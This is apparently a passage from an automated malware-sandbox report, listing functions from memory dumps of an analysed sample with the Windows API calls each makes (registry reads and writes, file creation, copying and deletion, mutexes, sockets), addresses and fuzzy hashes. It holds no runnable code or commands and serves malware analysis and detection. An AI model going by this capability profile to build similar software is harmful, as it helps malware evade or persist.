M>\r^, xrefs: 00F2DC0F, 00F2DC14

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: lir$M>\r^
API String ID: 0-2336947067
Opcode ID: 4921caf730f544ad0df6103a9fe368e900fdf35d73d0421585c05b79ee443850
Instruction ID: f3aeaacfa8bbb9610f5627cd672ac97a4c75eaa5ffbb09e99cdf2b228593a399
Opcode Fuzzy Hash: 4921caf730f544ad0df6103a9fe368e900fdf35d73d0421585c05b79ee443850
Instruction Fuzzy Hash: 05219532A08228CBCB199B64E4107BEBBF5ABC8315F25417AE44AEB740DF759C41F791

Uniqueness

Uniqueness Score: -1.00%

Function 00F2610C, Relevance: 2.5, Strings: 2, Instructions: 22COMMON

Download Yara Rule

Strings

lir, xrefs: 00F2611E
-S\r^, xrefs: 00F2612A, 00F2612F

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: lir$-S\r^
API String ID: 0-3677660136
Opcode ID: 664f5f7a43af7b6de1169c20cae08f517a8f06c28d39f13d47b84409d55788ba
Instruction ID: 21a3b8dc7265246e9e8bab86230404b0c6a2ce342c4ae53ba5001720b0abfc2f
Opcode Fuzzy Hash: 664f5f7a43af7b6de1169c20cae08f517a8f06c28d39f13d47b84409d55788ba
Instruction Fuzzy Hash: 52D02E39B8D1241BAB14AB7D6C106BF3B4A1FC0A92308446EE00ACB3C2CE008C0343DD

Uniqueness

Uniqueness Score: -1.00%

Function 00F26110, Relevance: 2.5, Strings: 2, Instructions: 20COMMON

Download Yara Rule

Strings

lir, xrefs: 00F2611E
-S\r^, xrefs: 00F2612A, 00F2612F

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: lir$-S\r^
API String ID: 0-3677660136
Opcode ID: ab161096b404bba83f6b9e0aeeecd637a0ba1ba363199f6688e1acd39a78d407
Instruction ID: 0d597256c2562727af4d86c721ed20b9f33f6ac2ffa7d468fe0e538da16c6d68
Opcode Fuzzy Hash: ab161096b404bba83f6b9e0aeeecd637a0ba1ba363199f6688e1acd39a78d407
Instruction Fuzzy Hash: BED0A729B49624175A146F7AAC0563F374D5FC0AA2300446EE50AC7381DD059C0143ED

Uniqueness

Uniqueness Score: -1.00%

Function 00F212A0, Relevance: 1.7, Strings: 1, Instructions: 460COMMON

Download Yara Rule

Strings

$ghr, xrefs: 00F21349

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: $ghr
API String ID: 0-1352911727
Opcode ID: 476509b38928319aff7661f6783476945633176220f75e0b0dd96e1afdc2412d
Instruction ID: b28bcde2e86881a4b31df76b74b54d37b25963e4099ea96706bf413e7c753455
Opcode Fuzzy Hash: 476509b38928319aff7661f6783476945633176220f75e0b0dd96e1afdc2412d
Instruction Fuzzy Hash: 16222434A00615CFCB24DF28D590A6ABBF2FF88314F10C5A9D85A9BB56DB30AD85DF41

Uniqueness

Uniqueness Score: -1.00%

Function 02842115, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 02842225

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: fe543795588d82af730c0442af470e48d34ae8cafffe5783c473cb0ed989bc82
Instruction ID: f38226cf30820fd85f09813a2f7a2635772e04422d83a78b2c04e044b369c8ad
Opcode Fuzzy Hash: fe543795588d82af730c0442af470e48d34ae8cafffe5783c473cb0ed989bc82
Instruction Fuzzy Hash: FD41D1755093806FE7128B25DC45F92FFB8EF42220F08849BEE84DF293D365A808C761

Uniqueness

Uniqueness Score: -1.00%

Function 02841950, Relevance: 1.6, APIs: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,?,?), ref: 02841A0E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c89bde2f3f3735de3a8c7486cf161a976cadf33a8e8a8992316b5d4ceeb58bcd
Instruction ID: d9498e49b62a5fc8e52144f2e12b36b6002a6bf4a34bd89fa95dc2d3c55f94d6
Opcode Fuzzy Hash: c89bde2f3f3735de3a8c7486cf161a976cadf33a8e8a8992316b5d4ceeb58bcd
Instruction Fuzzy Hash: 00316C6910E3C06FD3138B218C65A61BF74EF47610B0A81CBE884CF5A3D6286919D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 02840EB8, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 02840F5B

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a7ddafc317dbb789b4bfe630f1c0981ef56742f200b8541d7714609bcd4d4742
Instruction ID: 1c97a3cd9c775b6539751a3ffa8abb34a0593d1be0e688a9ce9dbf097bb31c7a
Opcode Fuzzy Hash: a7ddafc317dbb789b4bfe630f1c0981ef56742f200b8541d7714609bcd4d4742
Instruction Fuzzy Hash: 3131B372404344AFEB228B65DC44F67BFACEF46310F0489AAF985DB152D324A819CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028426E8, Relevance: 1.6, APIs: 1, Instructions: 95timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02842785

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 8c67fce8c1248b5528e08aa8a7dd6c49df2d736eb42a3c20c8e52d0c86bfa0f9
Instruction ID: d7452bcca1f37eeacfd0c3d750f01c1b39dcfbb63e1c554a98cd51ee0cf04fd0
Opcode Fuzzy Hash: 8c67fce8c1248b5528e08aa8a7dd6c49df2d736eb42a3c20c8e52d0c86bfa0f9
Instruction Fuzzy Hash: E531D676409380AFE7128F21DC85F56BFB8EF46310F08859BE985DF192D625A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 02840390, Relevance: 1.6, APIs: 1, Instructions: 93registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE(?,00000E2C), ref: 0284045E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 9144ab75f8b16377136b5283352a774fda3fe04c2526c65fd49e82380279c18c
Instruction ID: fa8fc6e1b7b1cb18b27c3d6c999f9aa5d8143e413be0cd9f6a9f02a18d774a66
Opcode Fuzzy Hash: 9144ab75f8b16377136b5283352a774fda3fe04c2526c65fd49e82380279c18c
Instruction Fuzzy Hash: 6331B576004344AFE7228F21CC41FA6FFB8EF06714F14859EEA859B192D3A5A949CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02840C58, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNELBASE(?,00000E2C,?,?), ref: 02840D1A

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: eabd564c4ee38da9be482bf204463b96b3c9d528e09cab4841cccdd39ab1507a
Instruction ID: 2509e75d6692803fc37d04a74e1ca3f8f13aa008c3b20df48a30fca6e78a0609
Opcode Fuzzy Hash: eabd564c4ee38da9be482bf204463b96b3c9d528e09cab4841cccdd39ab1507a
Instruction Fuzzy Hash: 23317C7140D3C06FD7038B258C51B62BFB4EF87610F0E85DBE9848F5A3D225A81AC7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0096AA02, Relevance: 1.6, APIs: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E2C), ref: 0096AAB1

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 29a05e00a5eb1d313db4fbef3b24fb0ad2d7c1180ac5c8176bcc4a9616ab1957
Instruction ID: c5a53ffafd0d29b5fe2d0f78e2419568b5fb030362767b43cb6cf7f1b923b245
Opcode Fuzzy Hash: 29a05e00a5eb1d313db4fbef3b24fb0ad2d7c1180ac5c8176bcc4a9616ab1957
Instruction Fuzzy Hash: 3831B472544384AFE7228B65CC45F67BFECEF16710F08859BED819B152D264A809CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028407F4, Relevance: 1.6, APIs: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 02840899

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9593e91d56348eac3e48d87ea3fe23abc1b6ab19fbccac43f23e8664f2f1de8c
Instruction ID: 487e07b69c3ec68837d87b2a86b0fa9f88dd49b624a1646cae97bd2b036d7c2f
Opcode Fuzzy Hash: 9593e91d56348eac3e48d87ea3fe23abc1b6ab19fbccac43f23e8664f2f1de8c
Instruction Fuzzy Hash: 7B318F75504384AFE722CB25CD44F66BFE8EF45210F0884AEE985CB252D365E805DB71

Uniqueness

Uniqueness Score: -1.00%

Function 02842C17, Relevance: 1.6, APIs: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNELBASE(?,00000E2C,?,?), ref: 02842CD2

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 0bc3393d88cf1b1d219c790e3896cb90fa2d457bdf5583b5661b6ec3ee26d7f6
Instruction ID: 00a867a0b93fd1d4795e6ee494a952df317785b70f68121a66920424f0480e38
Opcode Fuzzy Hash: 0bc3393d88cf1b1d219c790e3896cb90fa2d457bdf5583b5661b6ec3ee26d7f6
Instruction Fuzzy Hash: 6331817240D3C05FD7038B218C61A52BFB4EF87610F1A80CBD984CF2A3E6246909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0096AAF9, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 0096ABB4

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ce04f1c94e80c3f199126af4a526c0c61050e16dc3afc607654b1b18aa730413
Instruction ID: 852237b5573ba65416ec90aa337a996a200a9790b03981fadf14a044c74dc157
Opcode Fuzzy Hash: ce04f1c94e80c3f199126af4a526c0c61050e16dc3afc607654b1b18aa730413
Instruction Fuzzy Hash: A831A471509384AFD722CB25CC44F52BFFCEF06310F18849AE985DB252D264E949CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028400F6, Relevance: 1.6, APIs: 1, Instructions: 89synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(?,?), ref: 0284019D

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 94d0118020482858a1200de06be402bd442c57953b8781c1f32e384a9540693b
Instruction ID: 00f02944ef21909f22ee059f3f0146d06d8943cc186ce448fcb0c224a44010df
Opcode Fuzzy Hash: 94d0118020482858a1200de06be402bd442c57953b8781c1f32e384a9540693b
Instruction Fuzzy Hash: BB3191B5509784AFE712CB25DC84F56FFE8EF06210F08849AE984CF292D775A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02840FB9, Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

GetExitCodeProcess.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 0284105C

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CodeExitProcess
String ID:
API String ID: 3861947596-0
Opcode ID: a310bd9159060dc77726786dbbeea6e901e76f81ce8bc6d301c9666ba0f5c942
Instruction ID: 8e28e2af353b07abff075c07a7ce485d9a536be0e66513993824523d9fba7b62
Opcode Fuzzy Hash: a310bd9159060dc77726786dbbeea6e901e76f81ce8bc6d301c9666ba0f5c942
Instruction Fuzzy Hash: BE31F572509384AFEB128B25DC45F96BFB8EF46310F0884DBED84DF193C624A949C761

Uniqueness

Uniqueness Score: -1.00%

Function 0284227C, Relevance: 1.6, APIs: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 0284232E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 586ecb3e914d695534ad2a69e99d2c5b0695a76d3b225429ce35e93c279cf8a6
Instruction ID: 9e29dc65030470f1e178b64f2fd173c75c50e21c27f3551d7e57af55bcfc9922
Opcode Fuzzy Hash: 586ecb3e914d695534ad2a69e99d2c5b0695a76d3b225429ce35e93c279cf8a6
Instruction Fuzzy Hash: 0531E472404380AFE722CB15DC44F96FFF8EF06324F08859AE9848B262D364A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028404AB, Relevance: 1.6, APIs: 1, Instructions: 86registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 0284055C

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 899a3ba684cd6d7f9018dac1f792a0d4285631a5f2892a7ed71b6a6d9622210a
Instruction ID: 7f845dc74ba0b2014b94077cd7e105b3bed494fc72bcd29ea47358b7f5e94bb2
Opcode Fuzzy Hash: 899a3ba684cd6d7f9018dac1f792a0d4285631a5f2892a7ed71b6a6d9622210a
Instruction Fuzzy Hash: D2319175109384AFD7228B65DC44F53BFF8EF06310F0985DBEA859B162D364A808CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0096A120, Relevance: 1.6, APIs: 1, Instructions: 83networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(?,00000E2C,?,?), ref: 0096A1C2

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: c31a7fa16e621bc67ccb09bd3dc47bde7155b907df6989fee5729812b48c345a
Instruction ID: 9d961d3e9f75fb362e8ef8bacc4f0c9fd8d4f539c05a33f59aaba59c5752f107
Opcode Fuzzy Hash: c31a7fa16e621bc67ccb09bd3dc47bde7155b907df6989fee5729812b48c345a
Instruction Fuzzy Hash: AE31D37140D3C06FD7028B358C55B62BFB4EF87620F1985DBD984CF2A3D225A919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02840EDE, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 02840F5B

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d1c4eeaef5413e9df2f7bdca172e324b93d2cde1728b9f58332ac35c1917441a
Instruction ID: f8496462a3d698cf1d756cb66bc20997a03a85e104b64b8bf1511ae19b7fcbe7
Opcode Fuzzy Hash: d1c4eeaef5413e9df2f7bdca172e324b93d2cde1728b9f58332ac35c1917441a
Instruction Fuzzy Hash: 1121B076500708AFEB219F64DC44F6BFBACEF04310F04896AEE45DB651D670A4088B61

Uniqueness

Uniqueness Score: -1.00%

Function 028408F0, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02840985

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: aa242c6e51971b48f0a5db968c701be53b46a19051b8605a73fd371f16a70f4d
Instruction ID: a838971a07ad91379f126c497b03e898d9b502b89d0e738df185acb3ae6343e2
Opcode Fuzzy Hash: aa242c6e51971b48f0a5db968c701be53b46a19051b8605a73fd371f16a70f4d
Instruction Fuzzy Hash: AE21D6B54093846FE7128B25DC41BA2BFB8EF47720F1881DBEE848F293D2646909C771

Uniqueness

Uniqueness Score: -1.00%

Function 028402AB, Relevance: 1.6, APIs: 1, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(?,00000E2C), ref: 02840353

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 06570ba831f97ae4fbc217f019c1eb16df6ac4bb0befcc739d4b7a7cc472e727
Instruction ID: d0768ca5050f4e7aa17e8ae11fbdc1d82ca55243a1c5635fffbada4c58f5fc71
Opcode Fuzzy Hash: 06570ba831f97ae4fbc217f019c1eb16df6ac4bb0befcc739d4b7a7cc472e727
Instruction Fuzzy Hash: FC21B776009384AFE7228F20DC41FA6FFB4EF06314F1884DAE9849F192D365A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 0096AF50, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?,00000E2C,?,?), ref: 0096AFEA

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: cd891a80b6404774dab04bbd3f23f7ae7de26e635a3d14ed5a915545c2c1353d
Instruction ID: 46cea3c1546f8f73abddeeb75361f84fdf9357be3ee5da3b91a4433b18cab57f
Opcode Fuzzy Hash: cd891a80b6404774dab04bbd3f23f7ae7de26e635a3d14ed5a915545c2c1353d
Instruction Fuzzy Hash: 9A21B67144D3C06FD3138B259C51B22BFB8EF87610F0A81DBE884CF653D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02841A3A, Relevance: 1.6, APIs: 1, Instructions: 77networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 02841AC6

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 08b185e1e567ce6d5325d8423c79b894a488d759e5a28434d17dea3ab389a1a2
Instruction ID: c70afec6dd7bf0e7228f1104006a923fa4392203fb07af610bfaefa9c5902118
Opcode Fuzzy Hash: 08b185e1e567ce6d5325d8423c79b894a488d759e5a28434d17dea3ab389a1a2
Instruction Fuzzy Hash: 84218D71509380AFE722CF65DC45F96FFF8EF45210F08859EEA899B252D375A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0284081A, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 02840899

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c122597195f69141ebe7cf9832e9cc22ab86b3d80cb91a6cb1012c909c8d904e
Instruction ID: e6ac58304e3e2e6b8291a0a9e7a51512dd45e9568d55c4b28d8152073e53fcb1
Opcode Fuzzy Hash: c122597195f69141ebe7cf9832e9cc22ab86b3d80cb91a6cb1012c909c8d904e
Instruction Fuzzy Hash: E0219C79500204AFE725DF65CD44F66FBE8EF04214F14846AEA89CB252D771E404CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 028409C0, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02840A51

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: b962714e22ec2502fdf639d3e49ff3e5cbea2333b70e2cc94a7b85c6fc1910b6
Instruction ID: 3ef45fef982cc61455f1a0bc8048b87e54578be5d14319085d2be6f706ea8518
Opcode Fuzzy Hash: b962714e22ec2502fdf639d3e49ff3e5cbea2333b70e2cc94a7b85c6fc1910b6
Instruction Fuzzy Hash: A321A172409384AFE722CF65DC44F56BFB8EF46314F08859BEA849F153C265A809CB72

Uniqueness

Uniqueness Score: -1.00%

Function 028403CA, Relevance: 1.6, APIs: 1, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE(?,00000E2C), ref: 0284045E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 4c23a5855888a8456434452b129f84ffbf0d546e73f7f54b2fad911965b22f1b
Instruction ID: 2c0199dfd763207e0a1c035f7982c2a5df12ae5f157800eee32d19eb3b7a44b4
Opcode Fuzzy Hash: 4c23a5855888a8456434452b129f84ffbf0d546e73f7f54b2fad911965b22f1b
Instruction Fuzzy Hash: 2621F276100308AFFB218F15CC41FA7FBACEF04714F10895AEE459A281D7B1A509CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02840B79, Relevance: 1.6, APIs: 1, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02840C10

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 2905fb05ba195dae41d6d6e48abefbda56e72f8442bc08afb8a84eba823585d7
Instruction ID: 629368f0a06aaa095d8d455e0ece454b47e58c9679b6ff40dffd3108a665adf9
Opcode Fuzzy Hash: 2905fb05ba195dae41d6d6e48abefbda56e72f8442bc08afb8a84eba823585d7
Instruction Fuzzy Hash: 1A21BDB6504744AFE7218B15CC80F57BFA8EF05314F08859AEA89DB252D364E808CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0096AA32, Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E2C), ref: 0096AAB1

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 3ee628f9a8a6020ade789fdeb054a11aca2eb1576cf0940f445bf3300a669020
Instruction ID: 5491be5b19131f85cd7e1afa9b4b3de31554c794221f0be350949fb9ae89eddf
Opcode Fuzzy Hash: 3ee628f9a8a6020ade789fdeb054a11aca2eb1576cf0940f445bf3300a669020
Instruction Fuzzy Hash: 34219D72500604AEE7219F65CD84F6BFBECEF14710F14895BEE45AA241D664E808CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 0284012A, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(?,?), ref: 0284019D

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 62904596f9b08af001d4aac43dfb89b5d17ab311ae0a3ace8ecbfba3051ee6ec
Instruction ID: 23232bed59aa53aa140fa2672420aa119315397edc89b324ed831376d73fe943
Opcode Fuzzy Hash: 62904596f9b08af001d4aac43dfb89b5d17ab311ae0a3ace8ecbfba3051ee6ec
Instruction Fuzzy Hash: 0D21BB79500204AFE724DF25CC84F6BFBE8EF04214F14846AEE48CB242DB74E904CA71

Uniqueness

Uniqueness Score: -1.00%

Function 02840A9B, Relevance: 1.6, APIs: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNELBASE(?,?,?), ref: 02840B1E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: a9c39ccef03626a7061e461ac7dc0f315ee8d49d64c7d28721dc9cfb59dfc712
Instruction ID: 006913f70249ddf8a4245133159b43c00daaa147338a6aad6dc9e07e0d8b6465
Opcode Fuzzy Hash: a9c39ccef03626a7061e461ac7dc0f315ee8d49d64c7d28721dc9cfb59dfc712
Instruction Fuzzy Hash: CD21B0B55083845FD722CB25DC51B53BFE8AF06218F1880EAED88DB253E624D808C761

Uniqueness

Uniqueness Score: -1.00%

Function 028410BF, Relevance: 1.6, APIs: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNELBASE(?,00000E2C), ref: 0284114B

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 93eed819f0090defe0c6eafae0301723df6729851f8256d007e4b1757e481d98
Instruction ID: 9ab57cb00b33cdadef6f6055fb887ce67c575abf595c25ec171a2d7f6044193f
Opcode Fuzzy Hash: 93eed819f0090defe0c6eafae0301723df6729851f8256d007e4b1757e481d98
Instruction Fuzzy Hash: F1210575504384AFE7218B24CC45FA6FFA8EF02320F18C09AFD489F282D364A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02840723, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0284079F

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: bf50c574fa10728fecca3957553a7c3df38f64aea220259c4ab3cd85adb6c409
Instruction ID: 7e9925350667576290722227f7c3360f44b3178e225fcf81e0a66e4fb92d10c1
Opcode Fuzzy Hash: bf50c574fa10728fecca3957553a7c3df38f64aea220259c4ab3cd85adb6c409
Instruction Fuzzy Hash: 5021B0B65093849FD716CB25DC44B52BFE8EF06214F0984EAE948CF262D735E908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0096AB3A, Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 0096ABB4

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 586e38b1407bbf9799030a42dc37d12a2ca2f679e6ada82659d97734e87e1006
Instruction ID: a1178c4b576c1b67ff49a560edc27425bb693aaa36e3639afbf46bd2cb10c418
Opcode Fuzzy Hash: 586e38b1407bbf9799030a42dc37d12a2ca2f679e6ada82659d97734e87e1006
Instruction Fuzzy Hash: EE214A75604604AFE720CE25DC84F67FBECEF05720F14856AEA45AB251D664E808CEB2

Uniqueness

Uniqueness Score: -1.00%

Function 028421BA, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 02842225

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: ee7b80469c431526d2038dc3772fb4d8ac9b439abf2ce711c4ceee48ae37a9fb
Instruction ID: e0551f8eb58b69165f536e877db2f7c87c820a3ea2bff5df80e14fcaffa021b7
Opcode Fuzzy Hash: ee7b80469c431526d2038dc3772fb4d8ac9b439abf2ce711c4ceee48ae37a9fb
Instruction Fuzzy Hash: 4921ACB5508204AFEB20DF25CC85F6AFBE8EF44720F14846AEE899B245D771E804CA71

Uniqueness

Uniqueness Score: -1.00%

Function 02841530, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

